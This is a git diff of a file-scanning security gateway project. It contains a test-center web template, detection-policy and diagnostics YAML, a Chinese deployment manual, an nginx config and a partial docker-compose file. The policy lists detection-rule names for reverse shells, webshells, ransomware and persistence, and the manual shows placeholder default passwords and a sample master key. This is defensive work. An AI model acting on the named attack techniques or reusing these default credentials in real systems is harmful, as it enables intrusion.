+ 暂无扫描记录。调用 /api/v1/scans 提交文件后,结果会自动出现在这里。 +
+{% endif %} +
+ +
+ + diff --git a/app/templates/test_center.html b/app/templates/test_center.html new file mode 100644 index 0000000..c367c8b --- /dev/null +++ b/app/templates/test_center.html @@ -0,0 +1,323 @@ + + + + + +MeshSafe 控制台 — 测试靶场 + + + +{% set nav_active = 'test' %}{% include "_nav.html" %} +
+ + + +{% if results %} +
+
{{ total }}
样本总数
+
{{ pass_count }}
检测通过 ✅
+
{{ fail_count }}
检测未通过 ❌
+
+ 🔄 重新扫描 + +
+
+ +
+ 📦 当前策略:{{ policy_version or '-' }} + {% if last_run_at %} + 🕐 上次运行:{{ last_run_at|bj_time("%m-%d %H:%M:%S") }} + {% else %} + ⚠️ 从未运行过 —— 点「重新扫描」开始检测 + {% endif %} + {% if rescan %}✅ 本次为实时全量扫描结果{% endif %} +
+ + {% if results[0].clamav_error %} +
+ ⚠️ ClamAV 引擎不可用(本地未起 clamd)—— 部分 verdict 显示为 error (ClamAV 不可用), + 但 YARA / structure / documents / keywords 引擎已正常工作。生产环境 docker compose 起 ClamAV 后会自动加载。 +
+ {% endif %} + + + + + + + + + + + + + + + + + + + {% for r in results %} + + + + + + + + + + + + + + {% endfor %} + +
#结果样本文件分类期望裁决 · 规则检测结论 · 规则方向规则Score耗时Findings
{{ loop.index }} + {% if r.overall_ok %}✅{% else %}❌{% endif %} + +
{{ r.filename }}
+
{{ r.description }}
+
{{ r.category }} + + {% set exp_v = r.expected_verdict or '' %} + {% if exp_v in ('reject', 'malicious') %} + 拦截 {{ exp_v }} + {% elif exp_v == 'suspicious' %} + 可疑 + {% elif exp_v == 'pass' or exp_v == 'clean' %} + 放行 {{ exp_v }} + {% else %} + {{ exp_v or '未设' }} + {% endif %} + + {% if r.expected_rules %} +
+ {% for rule in r.expected_rules %} + {{ rule }} + {% endfor %} +
+ {% endif %} +
+ + {{ r.actual_verdict|cn_verdict }} + {% if r.clamav_error %}
ClamAV 不可用
{% endif %} + + {% if r.actual_rules %} +
+ {% for rule in r.actual_rules %} + {{ rule }} + {% endfor %} +
+ {% elif r.actual_verdict in ('pass', 'clean') %} +
(无规则命中)
+ {% else %} +
⚠️ 无规则
+ {% endif %} +
+ {% if r.verdict_match %} + ✅ + {% else %} + ❌ + {% endif %} + + {% if r.rule_hit %} + ✅ + {% else %} + ❌ + {% endif %} + {{ "%.0f"|format(r.score) }}{{ r.duration_ms }}ms +
+ {{ r.findings_count }} 条 + {% if r.findings %} + + + + {% for f in r.findings %} + + + + + + + + {% endfor %} + +
引擎规则严重度权重细节
{{ f.engine }}{{ f.rule }}{{ f.severity }}{{ f.weight }}{{ f.detail }}
+ {% endif %} +
+
+ +{% else %} +
+ 测试样本目录不存在:{{ samples_dir }}
+ 请运行:python scripts/generate_test_samples.py +
+{% endif %} + + + + +
+ + + + diff --git a/config/diagnostics.yaml b/config/diagnostics.yaml new file mode 100644 index 0000000..4044728 --- /dev/null +++ b/config/diagnostics.yaml @@ -0,0 +1,58 @@ +# ============================================================================= +# MeshSafe Diagnostics Kit v1.0 配置 +# ============================================================================= +# 环境变量可覆盖(优先级更高): +# MESHSAFE_DIAG_ENABLED=true|false +# MESHSAFE_DIAG_DOCKER=auto|true|false +# MESHSAFE_DIAG_ERROR_INTERVAL=30 +# MESHSAFE_DIAG_CONTAINER_INTERVAL=300 +# MESHSAFE_DIAG_DB_INTERVAL=60 +# MESHSAFE_DIAG_STORAGE_ENABLED=true|false +# ============================================================================= + +diagnostics: + # ---------- 总开关 ---------- + # true = 启动定时器、检测 Docker、运行规则引擎 + # false = 只保留手动导出功能,所有自动诊断关闭 + enabled: true + + # ---------- Docker 日志/容器状态能力 ---------- + # auto = 启动时自动检测 docker.sock 挂载 + # true = 强制启用,连不上启动报错 + # false = 强制关闭 + docker: + enabled: auto + + # ---------- 后台定时器周期(秒,0 = 不跑)---------- + timers: + error_scan_interval: 30 # 错误/拦截类日志(R001/R005/R009-R014) + container_check_interval: 300 # 容器/引擎类(R002/R003/R004/R015) + db_aggregate_interval: 60 # DB 聚合类(R006/R007/R008) + + # ---------- 日志行数控制 ---------- + docker_log_tail: 500 # 定时器 grep 最近多少行 + export_log_tail: 2000 # 导出时完整抓多少行 + + # ---------- 导出包数据范围 ---------- + # 所有 DB 查询都按"过去 N 天"过滤,避免导出全库 + export: + db_span_days: 7 # DB 查询时间范围(scan_tasks / findings / errors) + scan_tasks_max: 10000 # scan_tasks.json 上限条数(防极端大数据量爆包) + scan_findings_max: 50000 # scan_findings.json 上限条数 + engine_errors_max: 5000 # engine_errors.json 上限条数 + + # ---------- 规则阈值 ---------- + rules: + error_ratio_threshold: 0.05 # R001: error > 5% 告警 + clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警 + reject_ratio_threshold: 0.20 # R007: reject > 20% 告警 + suspicious_exceeds_malicious: true # R006 开关 + + # ---------- 持久化存储 ---------- + # 关闭后回退纯内存模式(定时器结果重启就丢) + storage: + enabled: true + dir: /app/data/diagnostics + history_retention_days: 7 # 规则历史保留天数 + log_snapshot_on_timer: true # 定时器跑完是否也存日志快照 + log_snapshot_tail: 500 # 定时存的日志行数(节省磁盘) diff --git a/config/policy.yaml b/config/policy.yaml new file mode 100644 index 0000000..26af00b --- /dev/null +++ b/config/policy.yaml @@ -0,0 +1,302 @@ +# ============================================================ +# MeshSafe 全局检测策略 +# 说明:所有裁决逻辑集中在此文件,调整策略无需改动代码。 +# 修改后调用 POST /api/v1/policies/reload 或重启服务生效。 +# ============================================================ + +version: "2026.10.2" +description: "MeshSafe 默认全局策略(麒麟桌面/UOS x86 + WPS 目标终端)" + +# ---------- 全局阈值 ---------- +global: + # 风险分 ≥ 该值直接拒绝 + block_score: 70 + # 风险分落在该区间转人工复核 + review_score: [30, 70] + # 引擎不可用时的降级策略:fail_closed(拒绝)/ fail_open(放行) + # 生产环境应为 fail_closed,满足等保"安全优先"要求 + engine_failure_mode: fail_closed + # 单文件大小上限(字节)—— 与 ClamAV MaxFileSize=1G 对齐,留余量给其他 5 引擎 + max_file_size: 1610612736 # 1.5 GB + # 同步模式的最大文件大小,超过转异步 + sync_max_size: 536870912 # 512 MB(超过转异步扫描,避免请求超时) + # 是否允许加密压缩包 + allow_encrypted_archive: false + # 是否允许加密文档(Office 加密) + allow_encrypted_document: false + +# ================================================================ +# 零容忍规则集(独立于评分模型,优先级最高) +# 命中即 reject,不走评分累加。与 §7.2 步骤 0 对应。 +# ================================================================ + +zero_tolerance_rules: + # ---- 跨平台通用载体 ---- + - PdfJavaScript # PDF 打开即执行脚本 + - PdfLaunchAction # PDF 打开即启动程序 + - PdfOpenAction # PDF 打开即执行动作 + - PathTraversal # 解包路径穿越 + - IsoWithExecutable # ISO 挂载后内部含可执行 + - MacroObfuscated # 宏代码混淆/加密(意图不可知) + - AttachedTemplate # Office 外部模板注入 + + # ---- 宏相关(WPS on Linux 生效)---- + - VBAAutoExec # VBA 宏 AutoOpen 自动执行入口 + - VBAAutoExecShell # VBA 宏自动执行 + Shell/CreateObject 调用 + - MRaptorAutoExec # mraptor 判定为自动执行宏 + - MRaptorAutoExecSuspicious # mraptor 判定为可疑自动执行宏 + - DDEAutoExecution # DDE/DDEAUTO 自动执行字段 + - EmbeddedExecutable # 文档内嵌可执行对象 + + # ---- Linux 专属载体 ---- + - LinuxExecutable # ELF 原生二进制 + - DesktopFileAutoExec # .desktop 文件 Exec= 字段含危险命令 + - ShellScriptDangerous # Shell/Python/Perl/Ruby 脚本含危险函数 + - LinuxPortableExecutable # AppImage/Flatpak/Snap 便携包 + - ArchiveContainsLinuxExec # 压缩包内混有 .sh/.deb/.run/.bin + + # ---- Windows 专属载体(纵深防御)---- + - LnkWithAutoExec # LNK 快捷方式(Linux 不识别,保持检测) + - ChmWithScript # CHM 帮助文件(Linux 默认不自动执行) + +# ---------- 文件类型白名单 ---------- +# 只允许这些类型通过。空列表表示不限制(不推荐生产使用)。 +allowed_extensions: + # --- Office 文档 --- + - .doc + - .docx + - .docm + - .xls + - .xlsx + - .xlsm + - .ppt + - .pptx + - .pptm + - .rtf + - .pdf + - .wps # WPS 文字 + - .et # WPS 表格 + - .dps # WPS 演示 + + # --- 文本与图像 --- + - .txt + - .csv + - .json + - .xml + - .yaml + - .yml + - .html + - .htm + - .md # Markdown(飞书/Notion 导出) + - .markdown + - .jpg + - .jpeg + - .png + - .gif + - .bmp + - .tiff + - .svg + - .webp + + # --- 音视频 --- + - .mp4 + - .mov + - .avi + - .mkv + - .wmv + - .flv + - .webm + - .mp3 + - .wav + - .flac + - .m4a + + # --- 脑图/设计 --- + - .xmind + - .drawio + - .vsdx + - .bpmn + - .epub + + # --- 邮件 --- + - .eml + - .msg + + # --- 归档(允许进入后递归扫描)--- + - .zip + - .rar + - .7z + - .tar + - .gz + - .bz2 + - .xz + - .iso + + # --- 可执行与脚本(零容忍规则拦截,此处允许进入裁决流程)--- + # 两层防御:零容忍(步骤 0)先拦截,扩展名白名单(步骤 3)作为兜底 + # 这样策略中临时禁用某个零容忍规则时,文件仍可进入评分裁决 + - .exe + - .dll + - .msi + - .scr + - .com + - .elf + - .so + - .desktop + - .appimage + - .deb + - .rpm + - .run + - .bin + - .snap + - .sh + - .bash + - .zsh + - .py + - .pl + - .rb + - .js + - .vbs + - .bat + - .cmd + - .ps1 + - .hta + - .lnk + - .chm + +# ---------- 需要强制深检的类型 ---------- +# 一期无沙箱,此配置预留。命中这些类型自动转异步。 +sandbox_required_extensions: + - .exe + - .msi + - .iso + +# ---------- 特定规则的处置覆盖 ---------- +# 仅针对未进入零容忍集的规则。零容忍规则已在上方处理,此处不再覆盖。 +# rule_name: [action, reason_override] +# action 取值:pass / pass_with_flag / manual_review / reject / reject_and_notify +rule_overrides: + VBAShellInvocation: + action: manual_review + reason: "宏调用 Shell 但无自动执行入口,需人工复核" + ArchiveContainsExecutable: + action: manual_review + reason: "压缩包内含 Windows 可执行文件,转人工确认(Linux 不识别)" + ArchiveBombSuspect: + action: reject + reason: "压缩比异常,疑似压缩炸弹" + ExtensionMismatch: + action: reject + reason: "声明扩展名与真实类型不一致,疑似伪装" + DoubleExtension: + action: reject + reason: "双扩展名伪装,高风险" + # ---- 邮件相关 ---- + EmailAttachmentDangerous: + action: manual_review + reason: "邮件附件为高风险类型,需人工确认是否为钓鱼/恶意附件" + EmailAttachmentDisguised: + action: reject + reason: "邮件附件存在双扩展名伪装,高风险钓鱼特征" + EmailPhishingKeyword: + action: manual_review + reason: "邮件正文/Subject 命中钓鱼特征,需人工确认" + # ---- 加密 ---- + OfficeEncrypted: + action: reject + reason: "Office 文档已加密,策略禁止加密文档进入内网" + +# ---------- 通知设置 ---------- +notification: + # 拒绝时是否返回详细原因给调用方(便于摆渡系统向用户提示) + include_reason: true + # 拒绝原因的最大长度 + max_reason_length: 500 + +# ---------- YARA 规则权重映射 ---------- +# 按规则名精细设定权重(0-100),覆盖 binary.py 里的默认 weight=50 +# 命中但不在下列名单中的规则 weight 保持默认值 50 +# 严重度分档由规则内 meta.risk_level 决定(critical/high/medium/low) +yara_rule_weights: + critical: # weight=85 + - C3_PHP_Webshell_Oneliner + - C3_JSP_Webshell_RuntimeExec + - C3_Webshell_Behinder + - C1_PE_ProcessInjection + - C8_Ransomware_Encryption + - C8_Ransomware_LockBit + - C8_Ransomware_BlackCat + - C8_Ransomware_Conti + - C7_Linux_ReverseShell_Bash + - C7_Linux_ReverseShell_NC + - C7_Linux_Rootkit_KernelModule + high: # weight=65 + - C3_PHP_Webshell_Obfuscated + - C3_PHP_Webshell_VariableDeformation + - C3_Webshell_CommandExecutionEcho + - C3_Webshell_Godzilla + - C1_PE_Downloader_Loader + - C1_PE_RAT_CommandControl + - C1_PE_LOLBin_Usage + - C1_PE_Mutex_Persistence + - C7_Linux_ReverseShell_Python + - C7_Linux_ReverseShell_Perl + - C7_Linux_ReverseShell_Socat + - C7_Linux_Persistence_Crontab + - C7_Linux_Persistence_SystemD + - C7_Linux_Persistence_AuthorizedKeys + - C7_Linux_Persistence_LD_PRELOAD + - C8_Ransomware_VolumeShadow + - C8_Ransomware_Note_Filename + - C8_Ransomware_Ryuk_Pseudo + medium: # weight=45 + - C9_Packer_UPX + - C9_Packer_Themida_VMP + - C1_PE_DLLHijacking + - C1_PE_EntropyHighNetwork + - C7_Linux_Miner_Generic + - C7_Misc_Ruby_Lua_ReverseShell + - C7_Network_Tools_Malicious + - C3_Webshell_AntSword + - C3_Webshell_ASPNET + - C3_Webshell_ASP_Classic + - C3_JSP_Webshell_Deserialization + - C3_JSP_Webshell_MemoryShell + - C3_Webshell_CommandExecutionEcho + - C8_Ransomware_Extension_Blacklist + low: # weight=25 + - C7_Linux_ReverseShell_Misc + + +# ---------- 内网特征词表引擎(P1)---------- +# 规则为数据驱动:在 policy.yaml 中声明,引擎从 PolicyStore 加载。 +# 控制台 P2 可实时修改并热重载。 +# 每条规则字段: +# name: 规则名(Finding.rule) +# match: contains | regex | any_of +# pattern: contains/regex 模式的匹配串 +# keywords: any_of 模式的关键词列表 +# weight: 评分权重(默认 30) +# severity: low | medium | high | critical(默认 medium) +# ignore_case: 正则模式是否忽略大小写 +keyword_rules: + # ---- 内网合规特征(辅助判断,不进零容忍)---- + - name: ClassifiedLevelMarkers + match: any_of + keywords: ["绝密", "机密", "秘密", "内部文件", "内部资料", "禁止外传"] + weight: 25 + severity: low + + - name: InternalDocumentPatterns + match: regex + pattern: "(?:国家机密|涉密|密级[::]\\s*[一二三四五])" + ignore_case: true + weight: 30 + severity: medium + +# ---------- 审计 ---------- +audit: + # 记录扫描结果明细到审计日志 + log_findings: true + # 是否记录提取到的子文件路径 + log_extracted_paths: true diff --git a/deploy/OPERATIONS.md b/deploy/OPERATIONS.md new file mode 100644 index 0000000..8f18706 --- /dev/null +++ b/deploy/OPERATIONS.md @@ -0,0 +1,308 @@ +# MeshSafe 部署操作手册 + +> 本文档是**给运维/实施工程师直接照着干的**。不讲原理,只讲"改什么、改成什么、敲什么命令"。仓库根目录在服务器上假设为 `/opt/meshsafe`(Windows 上就是 `d:\project\MeshSafe`)。下面统一用 `/opt/meshsafe` 指代。 + +*** + +## 第零步:先填这 5 个决策项 + +**动手改配置之前先把这 5 个值定下来**,不确定的问甲方。 + +| # | 决策项 | 填什么 | 怎么查 | +| - | -------------------- | ---------------------- | ------------------------------------------------------------------------------------------------ | +| ① | 服务器 CPU **物理核数** | 一个整数,比如 8 | Linux: `lscpu | grep "^CPU(s)"` 的值 / `lscpu | grep "Socket(s)"` 再除一下;Windows: 任务管理器 → 性能 → CPU | +| ② | 有几个**外部系统**要对接扫描 API | 比如 3 个:采购系统、档案系统、摆渡客户端 | 问甲方"哪些系统会调你家扫描接口" | +| ③ | 预计**峰值并发**(同时在扫的文件数) | 比如 50 | 问甲方"忙的时候一般多少个文件同时扫" | +| ④ | Postgres 密码定什么 | 自己定一个 ≥ 16 位的随机串 | 自己想,不要用仓库默认的 `meshsafe_db_pw_2026` | +| ⑤ | 服务器**内网 IP** | 比如 `192.168.50.200` | `ip addr` / `ipconfig` 查 | + +> **例**:某客户服务器 8 核,3 个对接系统,峰值并发 50,Postgres 密码 abc123xyz789qwe,内网 IP 192.168.50.200 + +*** + +## 第一步:生成密钥(3 条命令,复制就能跑) + +在服务器上(或本地)跑: + +```bash +# 1. MASTER_KEY(主密钥,所有 API 客户端密钥从它派生) +python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())" +# 输出示例:F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk= + +# 2. ADMIN_PASSWORD(控制台默认管理员密码,16 位随机) +python -c "import base64, os; print(base64.b64encode(os.urandom(12)).decode())" +# 输出示例:SGVsbG9Xb3JsZDEyMzQ1Njc4 + +# 3. Postgres 密码(如果不想自己想,也可以生成) +python -c "import base64, os; print(base64.b64encode(os.urandom(16)).decode())" +# 输出示例:YWJjZGVmZ2hpamtsbW5vcHFyc3Q= +``` + +**生成好后把这 3 个值记下来**。MASTER_KEY 要**离线备份**(让两位管理员各自存一份,密码管理器 / 纸质都行)。 + +*** + +## 第二步:逐文件改 + +### 文件 1:`.env`(项目根目录下) + +打开 `/opt/meshsafe/.env`,**改下面几行**: + +| 行 | 当前内容 | 改成 | +| -- | ------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | +| 11 | `MESHSAFE_MASTER_KEY=F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk=` | 第一步生成的 MASTER_KEY | +| 14 | `MESHSAFE_DB_PASSWORD=meshsafe_db_pw_2026` | 第四步的 Postgres 密码 | +| 19 | `MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:meshsafe_db_pw_2026@postgres:5432/meshsafe` | ⚠️ **密码要和第 14 行一致**。把 URL 里的密码部分(`meshsafe_db_pw_2026`)替换成你实际的 Postgres 密码。完整形式:`postgresql+psycopg2://meshsafe:你的Postgres密码@postgres:5432/meshsafe` | +| 23 | `MESHSAFE_ADMIN_PASSWORD=admin123` | 第一步生成的 ADMIN_PASSWORD | +| 26 | `UVICORN_WORKERS=15` | 第一步的 CPU **物理核数** | +| 27 | `DB_POOL_SIZE=30` | **计算**:物理核数 × 3。8 核填 24,16 核填 45 | +| 28 | `DB_MAX_OVERFLOW=50` | **计算**:物理核数 × 5。8 核填 40,16 核填 80 | + +> 上面示例(8 核服务器、密码 abc123xyz789qwe)的 .env 相关行:``` +> MESHSAFE_MASTER_KEY=你生成的key +> MESHSAFE_DB_PASSWORD=abc123xyz789qwe +> MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:abc123xyz789qwe@postgres:5432/meshsafe +> MESHSAFE_ADMIN_PASSWORD=你生成的admin密码 +> UVICORN_WORKERS=8 +> DB_POOL_SIZE=24 +> DB_MAX_OVERFLOW=40 +> ``` + +*** + +### 文件 2:`docker-compose.yml`(项目根目录下) + +打开 `/opt/meshsafe/docker-compose.yml`,**改 1 行**(api 服务的 environment 里,大概第 106 行): + +``` +当前: - MESHSAFE_API_CLIENTS=test-client:test-secret,duandao-system-a:real-secret +``` + +**改成**:把"②有几个外部系统"里的每个系统,分配一对 `client_id:client_secret`,逗号隔开。 + +**给每个对接系统生成 client_secret**: + +```bash +python -c "import base64, os; print(base64.b64encode(os.urandom(24)).decode())" +``` + +**示例**(3 个对接系统): + +```yaml +- MESHSAFE_API_CLIENTS=system-caigou:aBc123xyz789...,system-dangoaN:DeF456ghi012...,system-bodao:GhI789jkl345... +``` + +> **格式说明**:`client_id` 用英文代号(不要中文、不要空格),`client_secret` 是上条命令生成的随机串,一对一对用英文逗号隔开。 + +> **其他都不要改!** compose 里的 `UVICORN_WORKERS`、`DB_POOL_SIZE`、`DB_MAX_OVERFLOW` 这三行是从 .env 读取的,改 .env 就自动生效了。 + +*** + +### 文件 3:`deploy/nginx/default.conf` + +打开 `/opt/meshsafe/deploy/nginx/default.conf`,**可选改 IP 白名单**。 + +**不改也行**(内网光闸场景)。改的话,在每个 `location` 块里加 `allow` 和 `deny` 行,格式: + +```nginx +location /console/ { + allow 运维网段/掩码; # 例如 allow 192.168.1.0/24; + deny all; # 其他都拒绝 + proxy_pass http://api:8443; + ... 其余不动 ... +} + +location /api/ { + allow 摆渡客户端固定IP; # 例如 allow 192.168.50.100; + deny all; + proxy_pass http://api:8443; + ... 其余不动 ... +} +``` + +**如果不知道有哪些 IP 要放行,先跳过这步**——等测试通了再回来加。 + +*** + +## 第三步:启动 + +按顺序执行,**每一步看状态对了再走下一步**: + +```bash +cd /opt/meshsafe + +# 1. 建磁盘目录 +mkdir -p data/postgres data/redis data/clamav data/logs data/temp data/diagnostics + +# 2. 起基础设施(Postgres + Redis) +docker compose up -d postgres redis + +# 3. 等它们 healthy +docker compose ps postgres redis +# 看到 "healthy" 再往下,否则等 10 秒再看 + +# 4. 起 ClamAV(病毒引擎) +# 注意:如果是光闸内网,ClamAV 签名库要先摆渡到 data/clamav/ 目录 +# 首次启动如果 data/clamav 是空的会自动 freshclam(需要外网) +docker compose up -d clamav +# 等 2~5 分钟,因为 ClamAV 启动慢 + +# 5. 构建并起 API +docker compose up -d --build api + +# 6. 初始化数据库(建表 + admin 账号 + 初始策略) +docker compose exec api python scripts/init_db.py +# 应该看到 "=== 初始化完成 ===" + +# 7. 起 Nginx(最后) +docker compose up -d nginx +``` + +**全绿检查**: + +```bash +docker compose ps +# 所有 service 状态应该是 Up (healthy) 或 Up +``` + +*** + +## 第四步:验证 + +```bash +# 1. 健康检查 +curl http://服务器IP:44380/health +# 应该返回 {"status":"ok", ...} + +# 2. 控制台(浏览器打开) +# http://服务器IP:44380/console/login +# 用 .env 里的 MESHSAFE_ADMIN_PASSWORD 登录(首次登录会强制改密码) +``` + +*** + +## 第五步:给对接方交付的东西 + +对 `MESHSAFE_API_CLIENTS` 里配的**每一个** client_id: + +| 交付物 | 内容 | 传递方式 | +| ------------------ | ------------------------- | -------------------------------- | +| **client_id** | 例如 `system-caigou` | 邮件/IM 明文 | +| **client_secret** | 对应的那个 secret | **加密传**(企业邮箱加密 / 内网加密聊天,不要明文发微信) | +| **MASTER_KEY** | **不要给!** 只在 MeshSafe 服务端用 | — | +| **API 地址** | `http://服务器IP:44380` | 明文 | +| **Python 签名示例** | 见下面"附件 A" | 明文 | + +> **给密钥时要提醒对方**:secret 泄露或人员离职,立即通知你吊销(你从 `MESHSAFE_API_CLIENTS` 里删掉那一对,重启 api 即生效)。 + +*** + +## 第六步:日常操作命令速查 + +```bash +# 日志 +docker compose logs -f api --tail 200 # 实时看 api 日志 +docker compose logs -f nginx --tail 200 # 看 nginx 访问日志 + +# 重启 +docker compose restart api # 改 .env 后必须重启 +docker compose restart nginx # 改 default.conf 后必须重启 + +# 更新 API 客户端密钥(改完 .env 或 compose 里的 MESHSAFE_API_CLIENTS) +docker compose restart api + +# 诊断打包(生成 tar.gz 给研发看) +docker compose exec api python -m app.diagnostic.dumper + +# 强制重建 admin 账号(忘了密码时用) +docker compose exec api python -c " +from app.db import SessionLocal +from app.models import ConsoleUser +db = SessionLocal() +db.query(ConsoleUser).filter_by(username='admin').delete() +db.commit() +db.close() +" +docker compose exec api python scripts/init_db.py + +# 全停 +docker compose down + +# 全停并删数据(⚠️ 生产不要乱执行!会清掉所有扫描记录和策略历史) +docker compose down -v +``` + +*** + +## 附件 A:给对接方的 Python 签名示例 + +对方拿到 client_id + client_secret 后,用下面这个代码发扫描请求: + +```python +import os, time, hashlib, hmac, base64 +import requests + +# ====== 对接方填写这三个值 ====== +CLIENT_ID = "你拿到的client_id" +CLIENT_SECRET = "你拿到的client_secret" +BASE_URL = "http://MeshSafe服务器IP:44380" +# =============================== + +def hkdf_sha256(secret: bytes, salt: str, info: str, length: int = 32) -> bytes: + """从 client_secret 派生请求签名密钥。不要改这行。""" + prk = hmac.new(salt.encode(), secret, hashlib.sha256).digest() + okm, block, counter = b"", b"", 1 + while len(okm) < length: + block = hmac.new(prk, block + info.encode() + bytes([counter]), hashlib.sha256).digest() + okm += block + counter += 1 + return okm[:length] + +def sign_request(method, path, query=None, body=b""): + ts = str(int(time.time())) + nonce = os.urandom(16).hex() + body_hash = hashlib.sha256(body).hexdigest() + qs = "&".join(f"{k}={v}" for k, v in sorted((query or {}).items())) + signing_string = "\n".join([method.upper(), path, qs, body_hash, ts, nonce, CLIENT_ID]) + signing_key = hkdf_sha256( + CLIENT_SECRET.encode(), + CLIENT_ID, + "meshsafe/api/v1/request-signing", + ) + sig = hmac.new(signing_key, signing_string.encode(), hashlib.sha256).hexdigest() + return { + "X-MS-Client-Id": CLIENT_ID, + "X-MS-Timestamp": ts, + "X-MS-Nonce": nonce, + "X-MS-Body-SHA256": body_hash, + "X-MS-Signature": sig, + } + +# ====== 实际使用 ====== +# 场景 1:扫一个文件 +with open("待扫描的文件.exe", "rb") as f: + body = f.read() + +headers = sign_request( + "POST", + "/api/v1/scans/submit", + query={"channel": "caiGou系统"}, # 可选,标识来源 + body=body, +) +r = requests.post(f"{BASE_URL}/api/v1/scans/submit?channel=caiGou系统", + headers=headers, data=body) +print(r.status_code, r.json()) +# 期望:200 + {"verdict": "malicious"/"pass", "score": ..., "action": ...} +``` + +*** + +## 附件 B:验签失败对照(对接方报错时查这里) + +| HTTP 状态 | detail 内容 | 原因 | +| ------- | ----------- | ---------------------------------------------- | +| 401 | 缺少必要的认证请求头 | 5 个 `X-MS-*` 头少了哪个 | +| 401 | 认证失败 | client_id 写错了?secret 错了?我方 MASTER_KEY 换了没通知? | +| 401 | 请求时间戳超出允许偏差 | 你方服务器和 MeshSafe 服务器时间差超过 5 分钟了(NTP 对时) | +| 401 | 重复请求,已拒绝 | 同一个 nonce 用了两次(每次必须生成新 nonce) | +| 429 | 请求过于频繁 | 你方调用超过 120 次/分钟/客户端。降速或让我方调大限流 | \ No newline at end of file diff --git a/deploy/nginx/default.conf b/deploy/nginx/default.conf new file mode 100644 index 0000000..2cd4bd1 --- /dev/null +++ b/deploy/nginx/default.conf @@ -0,0 +1,62 @@ +# ============================================================================= +# MeshSafe Nginx 反向代理(内网 HTTP 明文) +# ============================================================================= +# +# 外部端口:44380(compose 映射 44380:80) +# 上游:api:8443(docker 网络内服务名) +# 无 TLS —— 光闸内网场景,外层防护靠光闸本身 +# +# 访问路径: +# http://<内网服务器IP>:44380/console/login → 控制台 +# http://<内网服务器IP>:44380/api/v1/scans → 扫描 API +# http://<内网服务器IP>:44380/api/v1/health → 健康检查 +# ============================================================================= + +server { + listen 80; + server_name _; + + # ---- 根路径 → 自动跳转到控制台登录页(保留原始 host + port)---- + location = / { + return 302 $scheme://$http_host/console/login; + } + + # 光闸可能传大文件(ISO 镜像 / 大压缩包) + client_max_body_size 500M; + client_body_timeout 600s; + client_header_timeout 60s; + send_timeout 600s; + + # ---- 控制台 ---- + location /console/ { + proxy_pass http://api:8443; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 300s; + } + + # ---- 扫描 API ---- + location /api/ { + proxy_pass http://api:8443; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_read_timeout 300s; + proxy_send_timeout 300s; + proxy_request_buffering off; # 大文件流式转发,不在 Nginx 缓冲 + } + + # ---- 健康检查(关 access_log 减少日志噪音)---- + location = /health { + proxy_pass http://api:8443/api/v1/health; + access_log off; + } + + # ---- 静态资源(logo、CSS 等)---- + location /static/ { + proxy_pass http://api:8443/static/; + expires 7d; + access_log off; + } +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..31dc3e4 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,157 @@ +# ============================================================================= +# MeshSafe 单机部署(内网光闸摆渡场景) +# ============================================================================= +# +# 启动顺序: +# 1) 准备 .env(cp .env.example .env 并填 MESHSAFE_MASTER_KEY) +# 2) 准备数据目录(mkdir -p data/{postgres,redis,clamav,logs,temp}) +# 3) docker compose up -d postgres redis # 先起基础设施 +# 4) docker compose up -d clamav # ClamAV(如首次启动尝试 freshclam 拉签名库) +# 5) bash scripts/import_clamav_db.sh clamav-db-*.tar.gz # 光闸摆渡导入签名库(可选) +# 6) docker compose up -d --build api # 起主服务 +# 7) docker compose exec api python scripts/init_db.py # 建表 + admin + 初始策略 +# 8) docker compose up -d nginx # 最后起 Nginx +# +# 外部访问:http://<内网服务器IP>:44380/console/login +# ============================================================================= + +services: + # ---------- PostgreSQL ---------- + postgres: + image: postgres:16-alpine + container_name: meshsafe-postgres + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + - POSTGRES_DB=meshsafe + - POSTGRES_USER=meshsafe + - POSTGRES_PASSWORD=${MESHSAFE_DB_PASSWORD:-meshsafe} + volumes: + - ./data/postgres:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U meshsafe -d meshsafe"] + interval: 10s + timeout: 3s + retries: 5 + + # ---------- Redis ---------- + redis: + image: redis:7-alpine + container_name: meshsafe-redis + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + command: ["redis-server", "--maxmemory", "128mb", "--maxmemory-policy", "allkeys-lru"] + volumes: + - ./data/redis:/data + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 10s + timeout: 3s + retries: 5 + + # ---------- ClamAV ---------- + # 生产:签名库通过光闸离线同步 + # 外网 → bash scripts/sync_clamav_db.sh 生成 clamav-db-*.tar.gz + # 光闸摆渡 → bash scripts/import_clamav_db.sh clamav-db-*.tar.gz(放 ./data/clamav 下) + # 首次启动脚本(scripts/init_clamav.sh):如 ./data/clamav 为空则尝试 freshclam + clamav: + image: clamav/clamav:latest + container_name: meshsafe-clamav + restart: unless-stopped + networks: [meshsafe_net] + environment: + - TZ=Asia/Shanghai + volumes: + - ./data/clamav:/var/lib/clamav + - ./scripts/init_clamav.sh:/init_clamav.sh:ro + - ./data/clamav/clamd.conf:/etc/clamav/clamd.conf:ro + entrypoint: ["/init_clamav.sh"] + healthcheck: + test: ["CMD-SHELL", "echo PING | nc -w 2 localhost 3310 || exit 1"] + interval: 60s + timeout: 5s + start_period: 180s + retries: 5 + + # ---------- API 主服务 ---------- + api: + build: + context: . + dockerfile: Dockerfile + image: meshsafe:latest + container_name: meshsafe-api + restart: unless-stopped + networks: [meshsafe_net] + depends_on: + postgres: + condition: service_healthy + redis: + condition: service_healthy + clamav: + condition: service_started + environment: + - TZ=Asia/Shanghai + - MESHSAFE_ENV=prod + - MESHSAFE_HOST=0.0.0.0 + - 